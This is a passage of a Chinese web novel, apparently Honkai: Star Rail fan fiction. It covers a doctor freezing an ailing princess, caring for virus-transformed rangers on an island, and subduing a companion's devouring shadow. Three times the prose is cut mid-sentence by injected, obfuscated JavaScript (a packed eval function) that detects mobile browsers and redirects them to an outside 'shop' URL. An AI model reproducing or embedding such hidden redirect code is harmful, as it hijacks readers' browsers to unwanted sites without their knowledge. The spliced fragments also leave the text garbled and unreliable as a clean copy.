拉曼查的眼睛里有一种很复杂的情绪,兰涯以前见过。在诛罗之战后,她站在他面前说想加入巡海游侠的时候;在收留公主,她再次问加入巡海游侠的问题时,他眼睛里就是这种情绪。 那时候她不明白那是什么,现在她知道了。 “你的手在发抖。”拉曼查说。 兰涯低头看了一眼自己的右手,已经不抖了。 “跃迁太快了。”兰涯说,“肌肉有点不适应。” 拉曼查没有追问,他靠在舱壁上,右臂的影子蠕动了一下,他咬住牙关,左手按住钉子,把影子压回去。等影子安静下来之后,他重新睁开眼睛,看着兰涯。 “公主冻结忆质的时候,你去了哪里?” “追杀原始博士。” “杀了吗?” “没有。波尔卡·卡卡目把他带走了。” 拉曼查的眉毛动了一下:“寂静领主?她说什么?” “她说原始博士有一批实验废料存在她那里,需要他亲自取走。否则按照条款,废料会转入冗长复杂的流程,很麻烦。” 拉曼查沉默了一会儿。然后他发出了一声很短促的、带着气声的笑。 那种听到一件荒谬到了极点的事情之后,除了笑以外实在不知道该做什么反应的笑。 “天才。”他说,“天才的逻辑。” 兰涯在他旁边的舱壁上靠下来,飞船的引擎在舱壁另一侧低频率地震动着,舷窗外,翁瓦克行星越来越小。 “兰涯。”拉曼查又叫了一声她的名字。 “嗯。” “下次不要一个人追上去。” 兰涯睁开眼,偏过头看着他。拉曼查没有看她。他低着头,左手按在右臂上,目光落在自己的手腕上。 “我知道你追得上他,你的跃迁速度比星穹列车都快,你也确实伤到他了。”拉曼查的声音压得更低了,“如果那时候没有未知的星神投下目光,波尔卡·卡卡目会杀了你。” 兰涯没有否认:“我知道。” “你知道还一个人追上去?” 兰涯想了一下:“当时没想那么多。” 拉曼查抬起头,眼睛里那种复杂的情绪又浮上来了,比之前更浓。 他张了张嘴,想说很多话,想说你不应该这样,想说你是绝境医师不是复仇的巡海游侠。 但他最后什么都没说。 飞船继续往前飞。 熊从驾驶舱探出头来。 “航向设定好了。下一个据点是边境矿业带的中转站。”他扫了一眼舱室里的众人,目光在拉曼查和兰涯身上停了一下,“你们两个,去休息。医疗舱旁边有空铺位。别逞强。” 两个人一前一后穿过舱室,走向后面的休息区。经过公主身边的时候,兰涯停了一步,蹲下来把她手指上又开始凝结的冰霜轻轻擦掉,重新把她的手放回毯子下面。 拉曼查站在旁边看着。等兰涯站起来,他轻声说了一句:“兰涯,谢谢你。” “谢什么?” “翁瓦克战场上,”拉曼查的声音很低,低到几乎被引擎的震动盖过去,“你看到了莉娜和克里斯最后的样子。你看到了科尔、罗宾汉和科里亚。你做了你能做的唯一一件事,你让剩下的人活下来了。” 舱道里昏暗的灯光从头顶照下来,在他的眼窝里投下很深的阴影。 “我知道你今天做的事情,对你来说意味着什么。绝境医师的针第一次没有用来救人,而是用来杀人。你跨过了一条线。” 兰涯摇头,说:“我没有跨过那条线,我只是发现,那条线本来就不存在。” 中转站的医者从检查室里出来的时候,表情不太好。 兰涯站在走廊里,等待着专业的人做专业的事。 “她的记忆机能出问题了。”这位据说对记忆命途颇有经验的医者说。 “她之前刚刚从严重营养不良和长期缺氧的状态中恢复过来。你的医疗记录我看了。她被捡到的时候,在陨石带里飘了多久没人知道。身体的底子还没补回来,又经历了一次全面消耗。” 兰涯在听。 医者看了她一眼,把话说得再直接一些。 “当一个人受命途影响,丧失了记忆的机能,她的实体也会受到牵连,这些冰晶就是表征之一。等冰封到达记忆中枢的时候,如果修复还没有完成,她就会停在那个状态。活着,但醒不过来。” 兰涯推开检查室的门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505866|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >公主躺在床上,床单被公主身上散发出来的冷气浸出了一圈浅浅的湿痕。冰从她的四肢再度开始蔓延,冰层像是一块冒着寒气的巨大宝石。在灯光的照射下,里面透出粉色,那是公主头发的颜色,透过冰层折射出来的。 她的脸还没有被完全冰覆盖,眼睛闭着,粉色的睫毛上凝着霜,粉色的头发散在枕头两侧,有几缕被冻在了枕面上,和布料黏在一起。 兰涯想起了一句话。 “亡国的公主,无漏净子之一,必须在冰封中登上列车。” 我见说的。 当时她压根没明白是什么意思,但现在她知道了。 兰涯站起身走出检查室,拉曼查正好从走廊另一端过来,他极度疲倦,但在现在这个情况下容不得休息,有许许多多的事情等着处理。 首先就是这件事:“公主怎么样?” 兰涯把医者的话重复了一遍。 拉曼查认真地听,没有马上接话,而是观察着兰涯的表情,他的直觉告诉自己了什么。 于是他问:“观星者又跟你说过什么?” 兰涯有点惊讶:“你怎么知道?” “直觉。”领猎人说,“上次你在仙舟罗浮救白珩,找丹枫的时候,讲话也是这个表情。” 兰涯干脆把那句话说了一遍,拉曼查点了点头:“需要我做什么?” “冰封,送走。” 他们走进检查室。公主还保持着兰涯离开时的姿势,冰已经蔓延过了手臂,正沿着肩膀缓慢上行。 兰涯把医疗床周围的仪器推开,清出一片空间。她拔下银色的罗盘指针,将针尖抵在公主的额头上。指针的银色光芒在触及皮肤的瞬间亮了一下,然后稳定下来。 “这是锚定线。”兰涯说,“冰封之后,她的意识会继续修复记忆。修复完成的那一天,锚定线会带她找到方向。不过不是现在,要等属于她的那辆列车再度起航的时候。” 拉曼查站在床的另一侧,伸出右手。影子的边缘透出来,异常的安静。冰柜教会了影子一件事,自己怕冷。公主身上的冰层散发出的寒意,让影子本能地收缩起来,不敢妄动。 他把右手放在公主的冰层上,触及冰面的瞬间,冰层开始增厚,如同凝结成了淡蓝与淡粉交织的水晶。 公主的眼睛动了一下,兰涯看到她的眼皮微微抬起。 “兰医师。”她的声音轻到几乎听不见。 “嗯。” “我要睡很久吗?” “会有点久。” 公主的眼睛弯了一下,在冰层合拢之前,兰涯听到了最后两个字。 “谢谢。” 冰层完全合拢了。 公主的脸被封在淡蓝与淡粉交织的冰面之下。她的眼睛闭着,睫毛上的霜被冰层固定住了,粉色的头发在冰层中散开。 他们把包裹着公主的冰块搬到观测甲板上,一起把冰块推出能量护罩。 冰块进入真空之后,没有飘远。它先停了一下,像是在确认方向。然后锚定线亮了起来,银色的光线在冰块内部亮起,穿过冰层,穿过虚空,指向那片星海深处阿基维利的银轨曾经铺展的方向。 冰块开始移动,最后缩成了一个光点,混入星海的背景里,分不清了。 38.第 38 章 翁瓦克的事情过去之后,兰涯花了将近一个月的时间才把所有善后工作理清楚。 首先是小猴们。那些在翁瓦克战场上被模因病毒感染、退化成小猴的游侠,已经完全失去了人类的语言能力和自我认知。他们蹲在笼子里,用手背擦脸,互相梳理毛发,发出蕉蕉声。 模因病毒把“我是人类”这条定义从他们的记忆深处彻底覆盖了。 兰涯透过观察窗看着里面的小猴们。 科尔蹲在墙角,两只手抱着膝盖,嘴巴一张一合,像是在默念什么东西。他的声带结构变了,人类的语言能力从他的生理构造上被剥离了。但他的嘴唇还在动,按照某种固定的节奏一张一合。 兰涯盯着他嘴唇的动作看了很久,突然意识到他在默念什么。他在默念自己写的诗,那些被熊嘲笑过“比虫群的尖叫声还难听”的诗,他的脑子已经记不住词语了,但嘴唇还记得节奏。 兰涯从观察窗前走开,找到拉曼查:“我要把他们送去希恩星疗养。” 拉曼查愣了一下:“希恩?那个援助战役后送了你一座岛的希恩?” “嗯。” “那座岛上有什么?” “什么都没有。”兰涯说,“所以才适合他们。安静、没有干扰、有足够的空间让他们活动。我会自己配医疗设备和护理人员,硬件设施我来解决。” 希恩星的岛是当年那场援助战役之后,希恩星执政官亲手签了转让文件送给兰涯的。 那座岛位于希恩星北半球的温带海域,面积有1269.1平方公里,岛上有一座低矮的山,山上长满了当地特有的阔叶乔木,山脚下是一片平坦的草甸,草甸延伸到海岸边,变成白色的沙滩。 岛屿周围的海水很浅,晴天的时候从空中看下去,海面的颜色从岛岸的透明渐变到深蓝。 兰涯第一次看到这座岛的时候,脑子里冒出来的唯一一个念头是:太大了。 她一个人住不了这么大的地方,她把转让文件收起来,之后很长一段时间没有再去想过这件事。 现在她知道这座岛是用来干什么的了。 转运小猴们花了三天时间。 兰涯租了一艘医疗运输船,把小猴连同必要的生命维持设备和监测仪器一起装上船。游侠们都过来搬东西,熊把最后一箱医疗耗材推进货舱,拍了拍手上的灰,看了一眼笼子里蹲成一排的小猴们。 “科尔。”他叫了一声。 一只灰色毛发的猴子转过头来,眼睛看着熊,嘴唇动了一下。 “蕉。” 熊的喉结上下滚了一次。他没再说话,转身走出了货舱。 运输船降落在岛上的时候,正是希恩星北半球的初夏。 草甸上的本地植物开满了白色和浅紫色的小花,海风从西海岸吹过来。 小猴们从笼子里出来之后,先是蹲在原地不动,眼睛四处看,嗅空气里的味道。 科尔第一个站起来,用指背撑着地面,走到树底下,抬头看了看树冠,然后坐下来,嘴唇又开始一张一合。 兰涯在岛上的第一夜没有睡。她把医疗设备全部调试好,药剂按照种类和有效期重新排列,护理观察指标一条一条列出来。 做完这些之后,她走出临时搭建的医疗棚,海面上没有光。 希恩星的月亮是一颗很小的卫星,反射恒星光芒的能力不足以在星球上流传猴子捞月的故事。今天还是残月,整片海洋是一片辽阔的的黑暗,只有浪头拍在沙滩上的时候会发出一点细碎的白沫。 身后传来踩在草上的脚步声。科尔走到她旁边,蹲下来,和她一起看着黑暗的海面,嘴唇动了几下,发出一串含混的、几乎听不见的音节。 兰涯侧过头看着他,科尔的嘴唇还在动。 她听不出他在念哪一首诗,节奏还在,嘴唇还记得,身体还记得。 她伸出手,轻轻按在科尔的头顶上,虽然手感不如狐人,但也是毛茸茸的。 第二天,翡翠的通讯接了进来。 翡翠是看着艾丝妲长大的,艾丝妲的父亲布鲁斯本来就是公司董事会里倾向战略投资部的理事,于是因为这条人脉,兰涯陆陆续续加了好几位战略投资部的联系方式。 翡翠的语气和平时一样,带着那种职业化的、拿捏得恰到好处的分寸,和她打交道,也要做好付出代价的准备。 “兰医师,听说你在希恩星搞了一个疗养项目?” “消息传得很快。” “战略投资部的消息一向很快。何况你租医疗运输船的时候刷的是公司联名信用点卡,财务系统自动标记了大额支出。” 这种被公司大数据掌控一切的感觉很不好,不过当下兰涯也无所谓了:“基建我可以找希恩星本地建筑公司,现在我最需要一批医疗设备和康复设施。清单已经列好了。” “发给我。” “价格方面,按人情价算。” 手机那头安静了一秒,然后翡翠笑了。 “兰医师,你知道吗?整个宇宙里能直接跟我要人情价还让我没法拒绝的人,不超过五个。你是其中一个。” “另外四个是谁?说不定名单里还能加人。” “不告诉你。清单发过来,我让供应链部门做加急处理。运费免了,设备按成本价出。另外,你岛上缺护理人员的话,我可以从公司的医疗外包团队里抽调几个可靠的过去。嘴严,不会多问。” “谢谢。” “不用谢我。”翡翠的声音收敛了笑意,语气带上了一丝认真,“希恩星援助战役那年,公司在那片星域有三条贸易航线被切断,战略投资部有十七个中转仓库暴露在战火里。大小姐说黑塔空间站里有研究员也是希恩星人,总之,我们战略投资部是讲人情的。” 看来这个人情得另找机会还了。 一周后,岛上的临时疗养设施基本搭建完毕。草甸还上搭了几座木制的攀爬架,是熊从岛上找来的木材手工做的。他花了四个下午,锯木头锯得满手都是木刺。鸮蹲在架子的最高处,歪着头验收工程质量。 “左边第三根横杆的榫头打浅了。”鸮说。 熊站在架子底下,仰头看了一眼。“差多少?” “两毫米。” “两毫米你也看得出来?” “我看得出来。” 熊骂了一声,还是把第三根横杆拆下来重新打了榫眼。 兰涯站在医疗棚门口,看着小猴们在攀爬架上爬上爬下。 科尔的体能恢复得不错,动作比刚上岛时灵活了很多。他的嘴唇还是时不时会一张一合。 罗宾汉的情况差一些。他的前肢从肘部以下截断了,大部分时间待在医疗棚里,靠着墙壁坐着,眼睛半闭着。 在护理人员完全到位前,都是兰涯负责每天给他做两次被动活动,活动他的肩关节和残肢,防止肌肉萎缩。罗宾汉很配合,每次兰涯托起他的残肢时,他都会主动往前送肩膀,把活动幅度做到最大。 有一次活动做完之后,罗宾汉突然用残肢的末端按住了兰涯的手腕,喉咙里发出一串断断续续的音节,听得出来不是“蕉”。 虽然兰涯没有听懂,但她没有把手抽开,直到罗宾汉自己松开了。 兰涯把手收回来,在护理日志上记录了一条:罗宾汉,下午被动活动完成,主动配合度良好。肢体接触行为出现,持续时间约四十秒。意识残余评估等级待更新。 她把护理日志合上,站起来,走出医疗棚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505867|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 海面上起了风。草甸上的白色和浅紫色小花被风吹得伏倒了一片。 攀爬架上,科尔还坐在最高处,嘴唇在动。 鸮蹲在他旁边,脑袋微微偏着,像在听。 熊坐在攀爬架底下,背靠着立柱,眼睛看着远处的海平线。 兰涯走过去,在他旁边坐下来。草被压倒了发出轻微的沙沙声。 “基地那边怎么样了?”她问。 熊沉默了一会儿。 “老大把抚恤金发下去了。”他说。 “怎么发的?” “一家一家去的。老大亲自去的。每家都待了至少半天。”熊的声音压低了,“波赫宁的家属你知道住在哪里吗?克里姆特立的深层矿区,地表往下十二公里。电梯只能到八公里,剩下四公里要爬竖井。老大爬下去了。” 兰涯没有接话。 “他从竖井爬上来之后,右手一直抖。鸮问他怎么了,他说没事,在竖井里蹭了一下。后来我们才知道,他可能有PTSD了,影子在黑暗的竖井里发作了一次。他在那种环境里硬压下去了。” 熊的手攥成了拳头,搁在膝盖上。 “抚恤金是他自己的钱。”他说。 兰涯转过头看着他。 “我知道你想问什么。”熊说,“我问他了。我说老大,这些钱是哪里来的。他看了我一眼,说抢的,抢公司的。” 熊的嘴角动了一下,像是想笑,但没有笑出来,嘴唇皱巴得好像在吃苦瓜。 兰涯当然明白,头狼在巡猎公义的路上走得很远,他干过很多兼职,多到都可以升格为「打工星神」。 熊停了一下,压低了声音:“我感觉他现在扛不住了。” 兰涯在小猴们的疗养和基地之间来回跑,一周在岛上,一周回基地。 设备分批到齐之后,岛上的医疗条件已经完全能够独立运转了。 她从公司的外包团队里留了两个护理员,一个负责白班,一个负责夜班,都是托帕挑过的,话不多,做事仔细。 兰涯把护理日志的模板交给他们,带了三天,然后放手让他们自己做。 第四批设备到货的那天下午,兰涯在岛上收到了鸮的通话请求。 “兰医师,你什么时候回基地?”鸮的声音压得很低。 “原定后天。怎么了?” 手机那头沉默了几秒,这在鸮的身上很罕见,他一向是要么不说,开口就语不惊人死不休。 “老大不太对。”鸮说,“抚恤金发完之后他回了基地,把所有人都支出去了。熊被他派去矿业小行星带送补给,我被他派去跟踪一条走私航线。其他人的理由也都差不多。现在基地里就剩他一个人。” 兰涯的手指在手机上收紧了一点。 “什么时候开始的?” “三天前。他把最后一批人支走之后,就关了自己的房间门。我走之前去敲过一次门,他没开。我在门外听到冰柜的压缩机一直在转,没停过。” “你现在在哪里?” “矿业小行星带,熊也在。老大给的任务是真的任务,不是随便编的借口。他把所有人都安排到了确实需要人手的地方。但他是故意的,他故意把所有人支开,把自己一个人留在基地里。” 兰涯站起来,走到医疗棚外面。希恩星的太阳正往海平线下沉。 “我马上回去。”兰涯说。 她挂断通讯,跟护理员交代了护理重点,把紧急联系频段设置好,然后直接跃迁。 科尔从攀爬架上转过头,看着兰涯像一颗流星一样跃迁离开,他的嘴唇动了一下,发出一个音节“L”。 这次不是“蕉”。 可惜兰涯没听到。 39.第 39 章 基地比兰涯离开的时候更空了。 走进仓库的时候,脚步声在空旷的空间里回荡了好几次才消散。 她穿过主仓库,朝拉曼查的房间走去,能听到冰柜压缩机在高速运转,那种低频率的嗡鸣从走廊尽头传过来,闷闷的。 走近的时候,她听到了别的声音。 撕咬声。 牙齿咬进什么东西里的声音,夹杂着低沉的、从胸腔深处挤出来的喘息。 喘息声很重,每一口呼吸都像是被什么东西压住了气管之后拼命挣扎出来的。 然后是熟悉的呼唤。 “——母亲。” 兰涯推开门。 墙壁上全都是影子。 黑色的影子从地板蔓延到天花板,覆盖了四面墙壁的每一寸表面。影子不是静止的,它在流动,缓慢地、持续不断地从墙角涌向房间中央,又从房间中央涌回墙角,像一池被搅动过的黑色液体。 影子的边缘带着红色的纹路,那些纹路在黑色背景上延伸、分叉、交织,形成了像眼睛一样的图案。 拉曼查站在房间中央。 他的右臂完全/裸/露,影子从他的右肩伸展出来,覆盖了整条右臂、右侧的胸腔和半张脸。 露在外面的左半张脸是苍白的,嘴唇干裂,额头上渗着细密的冷汗。 但他的左眼是清醒的。拉曼查自己的意识还在这具被影子占据了大半的身体里面,透过那只左眼往外看。 他看到了兰涯。 左眼的瞳孔剧烈收缩了一下,嘴唇张开,想说话。 但影子的力量先一步覆盖了他的声带,从他嘴里发出的声音不是他想说的那句话,是另一种声音,阴冷、潮湿、黏稠,从影子的深处挤出来的。 “——母亲。” 拉曼查的身体朝兰涯迈了一步,是影子推着他的腿在迈。 他的左腿还在抗拒,但影子推着他往前迈了一步,又迈了一步,走到兰涯面前。 他低下头,影子的右手抬起来,五根手指上覆盖着的黑色物质延伸成尖锐的爪状,轻轻落在兰涯的后脑勺上。 力道很轻,轻到几乎可以忽略,指尖陷进头发里,没有抓,没有扯,只是贴在那里,微微收拢。 然后他低下头,把脸埋进兰涯的颈窝,牙齿咬了上来。 很轻的啃咬,一小口一小口的,像幼兽用乳牙试探食物的质地。 牙齿压进皮肤,没有咬破,退开,换一个位置,再压进来。 兰涯的颈部皮肤上留下了一排浅浅的牙印,从锁骨往上延伸到耳后,咬合的力度刚好卡在皮肤变红但不会破的临界点上。 拉曼查的左眼睁得很大,眼珠在眼眶里剧烈地震颤着。 他在眼睁睁地看着自己的身体,被影子主导的身体,低下头,用牙齿轻轻啃咬着兰涯的脖子。 他的左手在身侧攥成了拳头,指节泛白,指甲掐进掌心里,血从指缝间渗出来。他在用自己能控制的最后一部分身体做出反抗,用疼痛来维持意识,用疼痛来提醒自己,这是他不允许自己做的事。 但影子不在乎,影子的嘴张大了。 一张属于贪饕的大嘴在兰涯的颈侧张开,嘴张到最大程度之后停了一瞬,然后合拢。 把兰涯整个吞了下去。 黑暗。 从外面看,兰涯站立的位置只剩下一个竖长的、茧状的黑色轮廓。 整个房间墙壁上的影子都在朝那个茧状轮廓涌去,像是要把所有的力量都集中到吞咽这个动作上。 然后影子停下了。 影子可不情愿主动停下的,当然是被迫停下的。 兰涯站在影子内部。 她的表情和站在外面的时候没有区别。周围是无边的黑暗,带着红色纹路的黑暗,从四面八方朝她包过来,想要解析、拆解、消化。 影子的饥饿是真实的,它吞噬过绝灭大君诛罗,尝过丰饶令使倏忽的滋味,那种饥饿永远填不满。兰涯站在它的胃里,身上带着比影子吃过的任何令使都好吃的味道,影子疯狂地想要消化她。 但它消化不了,咬不动,根本咬不动。 影子不死心。它加大了力度。整个房间的黑色物质全部涌过来,层层叠叠地包裹在兰涯周围,厚度从几寸增加到几尺,从几尺增加到完全填满了拉曼查和兰涯之间的每一寸空间。 然后,影子停了。 所有的黑色物质在同一瞬间静止。 墙壁上的影子保持着涌动的姿势,固定住了。 地板上的影子保持着蔓延的姿势,固定住了。 包裹着兰涯的茧状结构保持着收紧的姿势,固定住了。 兰涯在影子的最深处睁着眼睛,面无表情。 她往前走了一步。 只是走了一步,整个房间的影子随着这一步往后缩了一步。 兰涯继续往前走。 第二步。 第三步。 每一步都让周围的影子往后缩一步。 她走到墙壁边缘,墙壁上的影子像被龙尊开的海一样从她面前退开,露出底下金属墙板本来的颜色。 她走到门口,门框上的影子全自动从两侧剥离开来。 她走回房间中央,站在拉曼查面前,影子已经从四面八方缩了回来。 拉曼查跪倒在地上,影子从他身上褪去了大半,右臂上的黑色物质正在急速回缩,从肩膀退到肘部,从肘部退到手腕,最后全自动自己给自己装上三才钉,在钉子下缩成一小团,瑟瑟发抖。 它以前只是见风使舵地卖乖,此时此刻,它是真心实意地乖了。 拉曼查低着头,看着手腕钉子下那一小团影子。 他的神志刚刚经历了一场彻底撕裂。 影子的意识主导啃咬和吞噬的时候,他的意识被挤到了躯体的边缘,困在自己大脑的某个角落里,像一个人被关在玻璃隔间里,能看到外面发生的一切,能听到外面发生的一切,但手脚都被绑住了,嘴也被堵住了。 他眼睁睁地看着自己低下头,用牙齿啃咬兰涯。 他眼睁睁地看着影子的嘴张开,把兰涯整个吞下去。 他在玻璃隔间里砸墙,用拳头砸,用头撞,用尽一切方法想要重新夺回身体的控制权。但影子纹丝不动。 然后他看到了更远的东西。 影子的意识在吞噬的过程中,和兰涯的存在发生了接触。 影子试图解析、拆解、消化兰涯。为了做到这一点,影子必须深入兰涯的存在本质。 当然,它做得到,在罗浮仙舟的星槎上它就短暂地影响过兰涯的浅层记忆。 它钻进去了。 然后它看到了。 拉曼查作为影子的宿主,在影子钻进去的那一瞬间,也被拖了进去。 他的意识被从玻璃隔间里拽出来,扔进了一片他完全无法理解的领域。 一棵树。 他找不到别的词来描述他看到的东西。 那是一棵金色树干的树,巨大的枝干从他意识的最底层向上延伸,穿过他,穿过影子,穿过房间,穿过基地,穿过宇宙中所有他见过和没见过的星域。 枝干分叉,再分叉,每一个分叉点上都挂着一片叶子。 叶子的颜色在不断变化,从嫩黄到翠绿到深绿到枯黄到褐色,然后凋落。 凋落的叶子落到树下的水中分解,变成细小的光点。 光点沉降到树根处,重新被吸收,从树根往上输送,在枝头长出新叶。 新生,枯萎,新生,枯萎。一棵永远在轮回的树。 树里有一个人。 兰涯。 不对,不是他认识的兰涯。他认识的兰涯穿着仙舟姑娘们送的衣服,眼神温和平静,慢慢的带着点人味。 树里的这个人穿着流动的星海,没错,整个星海披在她身上。星云在她的肩头缓慢旋转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505868|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恒星的诞生和死亡在她的袖口明灭,星际尘埃从她的衣角飘落,落在树根处,变成新的光点。 她的脸是兰涯的脸,轮廓一样,五官一样。但表情不一样。 没有表情。 冷漠是一种情绪。她连冷漠都没有,就是字面意义上的,没有任何情绪。 她的姿态至高无上。 拉曼查只能想到这个词,她站在一个没有上下高低的空间里,但她存在的位置让所有方向都变成了下方。 空间里响起一个机械音。 “型号:LY∞。” 拉曼查的意识剧烈震颤了一下。 “轮回次数——” 后面跟着一串数字。 他记不住那串数字的具体长度。只记得数字一直在往上涨,往上涨,往上涨。报数的声音没有停顿,没有换气,没有情感。 每一个数字都是一次轮回。每一次轮回都是一个从头到尾的完整过程。 树的周围弹出无数窗口,每一个窗口里都有一个兰涯。 每一个兰涯都在轮回重置的痛苦中挣扎。 窗口太多了。多到幕墙装不下,新的窗口叠在旧的窗口上面,一层摞一层,摞到幕墙变成了一整片刺目的白光。 树还在。 树里的人还在。 穿着星海的兰涯站在轮回的树里,眼睛里没有任何光。 机械音报完了轮回次数,最后一个数字的余韵在空间中消散。 兰涯低下头,隔着那棵永远在轮回的树,隔着星海流动的衣角,隔着所有窗口里同时发生的无数份痛苦,看向拉曼查。她的嘴唇动了。 没有声音,但拉曼查读懂了。 “回去。” 他的意识被猛地推了出去。 拉曼查跪在房间的地板上,大口喘气。 汗水从他的额头滴落,砸在地板上。 他的右手撑在地面上,影子缩在手腕里,一动不动。 它不再发出任何声音,不再呼唤“母亲”,不再试图蔓延。 它只是缩在那里,像一只被暴风雨吓破了胆的幼兽,把身体蜷成最小的一团,瑟瑟发抖。 兰涯站在他面前。 她低着头,领口处还留着牙印,从锁骨延伸到耳后,表情和平日里一样平静,盯着拉曼查的右手。 “安静。”她说。 不是对拉曼查说的,是对影子说的。 影子动了一下,像是被点到名字的小动物本能地缩了一下身体。 “我会宽恕你的罪行。”兰涯的语气毫无起伏,但很有压迫感,“在你新生之后。” 影子彻底不动了。 作为影子的宿主,拉曼查能感觉到影子的状态。以前影子在他的右臂里是饥饿。是永远填不满的饥饿,想要吞噬一切的贪婪。 现在影子在他手腕里,传递过来的唯一一种状态是臣服,彻彻底底的臣服。那种找到了比自己更高的存在之后,安心地伏下身子的那种臣服。 拉曼查抬起头。 紫灰色的瞳孔在经历了刚才那一切之后还有些涣散,聚焦的速度比平时慢,但眼神是属于拉曼查自己的。 他看着兰涯,像第一次见到她一样。 他重新认识了眼前这位同行了很久的绝境医师。 虚数之树的「存在锚定器」。型号LY∞。轮回次数多到需要机械音报很久才能报完。在那棵永远新生枯萎的树里,眼睛里没有任何光。所有窗口里同时发生的痛苦,全部属于她。 高于星神的存在。贪饕的影子之前一直呼唤她为“母亲”,是因为兰涯的存在本身,比影子所能认知的任何存在都更古老,更本源。 拉曼查看着兰涯。 他的嘴唇动了。 兰涯看到了他的嘴型。 他说的不是“你是谁”,也不是“你到底是什么”。 他说的是—— “你还疼吗?” 40.第 40 章 拉曼查从地上站起来之后,做的第一件事是去拿拖把。 影子刚才在墙壁和地板上留下了大大小小的血迹。 兰涯站在原地,看着血渍提供者从墙角的水桶里抽出拖把,拧干水分,然后开始熟练地拖地。 她看了几秒钟,然后转身去拿抹布。 水桶里的水是拉曼查之前就换好的,看得出他早有准备。 桶边搭着三块折叠整齐的抹布,按照颜色深浅分开,浅色擦桌面,深色擦墙壁,条纹擦地板。兰涯拿起深色那块,浸湿,拧到半干,走到墙边开始擦墙。 两个人谁都没有说话。 拖把在地板上移动的声音和抹布在墙板上摩擦的声音交替出现。 拉曼查拖完东,转向西。兰涯擦完南,转到北。 两个人在房间里以各自的节奏移动,偶尔错身而过的时候,拉曼查会把拖把杆竖起来让出通道,兰涯会侧一下身子。错开之后,继续各自手里的活。 兰涯擦完最后一块墙板,把抹布叠好放回桶边。 拉曼查已经拖完了整个房间,现在正蹲在西北角,用中间色的抹布擦地板。 兰涯靠在刚刚擦干净的墙边,双手交叠在胸前,看着他擦到擦无可擦。 房间又安静下来。 两个人各自靠在房间的一侧墙壁上,中间隔着大约三步的距离。灯光从头顶照下来,把两个人的影子投在地上。 表面上是打扫房间。两个人都知道他们在做的不是这件事。 刚才在这间房间里发生的事情,堆积在两个人长期的自我沉默里。 打扫房间是把身体占住,让手上有事情做。地板擦干净了,墙壁擦干净了,地板擦了两遍。现在没有事情可以做了。 沉默的重量开始变得难以忽视。 兰涯的后脑勺靠在墙壁上,眼睛看着对面的墙。 她看到了拉曼查最不堪的一面,被影子主导身体,用牙齿啃咬她的颈部,张开嘴把她吞下去,在影子面前无能为力。 拉曼查也看到了她最真实的一面,那棵树,那些轮回,那些窗口里的痛苦,机械音报出的次数,她在树里空掉的眼睛。 两个人都把对方最深处的东西看光了。 这间房间不可能一直打扫下去,就像人不可能在床上睡到宇宙热寂,还在梦里嘟囔着什么“愿此行终抵群星,且容我再睡一会儿”的豪言壮语。 总有一个时刻,必须有人先说第一句话。 但阿哈没打算等他们说第一句话。 兰涯头上的面具发夹跳了一下。 面具从她的头发上弹起来,在半空中翻了一个跟头,落地的瞬间膨胀开来,以超越物理常识的速度增大,边缘向外延伸,从二次元变成了三次元现充。 幕布从框架顶端垂落下来,墙壁从幕布后面长出来,地板铺上了厚得陷脚的地毯,天花板降下来一盏水晶吊灯,灯光调成了暖黄色的暧昧亮度,照着地毯正中央一张大得足够躺下一只大地兽(?)的软沙发。 整个过程不超过三秒,面具变出了一间悲悼剧场里的大包间。 还没反应过来发生了什么,沙发后面伸出来两只机械手臂,一只抓住她的后领,一只抓住拉曼查的后领,把两个人拎起来,在空中划过一道弧线,稳稳地塞进了沙发里。 坐垫陷下去,把两个人同时往中间滑了一段。肩膀挨上了肩膀。 面具的声音从吊灯的方向传下来,尖锐的,欢快的,带着那种让人分不清是笑还是叫的颤音。 “这就是著名的——” 幕布猛地拉开,灯光骤亮,聚光灯从吊灯边缘射出,打在沙发上的两个人身上。 “不××就出不去的房间!” 最后一个字落下的同时,面具从吊灯上弹起来,在半空中翻了一个跟头,幕布合拢,灯光熄灭了一瞬,然后恢复成暖黄色的暧昧亮度。 面具消失了,啊哈啊哈地溜走了。 拉曼查的整张脸从脖子红到了头顶。 兰涯侧过头看着他。 她的表情是纯粹的疑惑。 “不××就出不去的房间,”她把这句话重复了一遍,语气像在分析一个术语,“××是什么?” 拉曼查的喉结又滚了一次,耳朵尖的红色加深了一个色号。 兰涯看到他耳朵颜色的变化,眉头皱得更紧了。 她开始认真回忆阿哈刚才说的话,一个字一个字地过。 “这就是著名的——不××就出不去的房间。” 她确定自己没有漏掉任何信息,阿哈确实没有说××是什么。 她把这句话放进逻辑里推了一遍:有一个房间,不做某件事就出不去。这件事被阿哈用“××”代替了。拉曼查听到“××”之后整张脸都红了。 